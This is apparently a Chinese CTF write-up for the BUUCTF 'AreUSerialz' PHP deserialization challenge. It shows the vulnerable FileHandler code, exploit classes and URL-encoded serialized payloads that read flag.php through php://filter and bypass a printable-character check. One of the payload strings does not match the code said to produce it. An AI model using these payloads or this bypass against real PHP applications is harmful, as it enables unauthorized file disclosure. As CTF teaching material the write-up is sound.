【BUUCTF】AreUSerialz (反序列化)
题目来源
收录于:BUUCTF 网鼎杯 2020 青龙组
题目描述
根据PHP代码进行反序列化
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
题解
此题解题思路较为清晰,反序列化时依次调用的函数为:
__destruct() ==> process() ==> read()
在read()
中的file_get_contents()
中得到我们要读的文件。
这里直接给出构造的类
<?phpclass FileHandler {protected $op;protected $filename;protected $content;function __construct() {$this->op = 2;$this->filename = "php://filter/convert.base64-encode/resource=flag.php";$this->content = "Hello World!"; //$content的值随意}
}$o = new FileHandler();
$s = urlencode(serialize($o));
echo $s;
这里由于存在不可打印的字符,且不可随意丢弃,因此我们需要对序列化后的字符串进行URL编码。编码后得到$s
的值为
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3BN%3Bs%3A11%3A%22%00%2A%00filename%22%3BN%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D
对于一般的题目,到这里就能得到flag了,但是该题目中还有函数is_valid()
,用于检测传递的字符串中是否有不可打印的字符。
由于类中有protected
的属性,因此我们序列化后的字符串中会有不可打印字符%00
,这道题的难点就在这里。
这里有两种方式可以进行绕过
方式一
当PHP版本 >= 7.2 时,反序列化对访问类别不敏感。
即可以直接将protected
改为public
,即可避免出现不可打印的字符,同时可以成功反序列化。
<?phpclass FileHandler {public $op;public $filename;public $content;function __construct() {$this->op = 2;$this->filename = "php://filter/convert.base64-encode/resource=flag.php";$this->content = "Hello World!"; //$content的值随意}
}$o = new FileHandler();
echo(urlencode(serialize($o)));
传入打印的字符串即可得到base64编码的flag
方式二
此方法并不改变变量的保护类型。
当我们向浏览器传递%00
时,浏览器会对其进行URL解码,解析为ascii值为0的单个字符。
当我们向浏览器传递\00
时,浏览器不会将其解析为单个字符。
下面用代码进行验证:
<?phpfunction is_valid($s) {echo "str_length="; //输出字符串长度echo strlen($s);echo "<br>ASCII(str): ";for($i = 0; $i < strlen($s); $i++){if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)){echo "invalid!!!";return false;}echo ord($s[$i]); //输出每个字符的ASCIIecho " ";}return true;
}$str = (string)$_GET['str'];
is_valid($str);?>
因此我们将%00
替换为\00
,就可以绕开ord()
的判断。但是这样一来,反序列化时\00
将无法正确解析为单个字符。
我们知道序列化后的字符串中,用 s 表示字符串,用 i 表示整数。此外, S 用于表示十六进制的字符串。
于是,将表示字符串的 s 替换为表示十六进制字符的 S,即可完成绕过。
<?phpclass FileHandler {protected $op;protected $filename;protected $content;function __construct() {$this->op = 2;$this->filename = "php://filter/convert.base64-encode/resource=flag.php";$this->content = "Hello World!"; //$content的值随意}
}$o = new FileHandler();
$s = urlencode(serialize($o));
$s = str_replace('%00','\00',$s);
echo $s;
将红框内的小写 s 替换为大写 S,得到的payload为
O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D
总结
当遇到不可打印字符被过滤时,有两种方法:
-
PHP版本>=7.2时,可将protected直接修改为public
-
将序列化后的字符串中的
%00
修改为\00
,并将保护类型为protected
的变量的变量类型由s改为S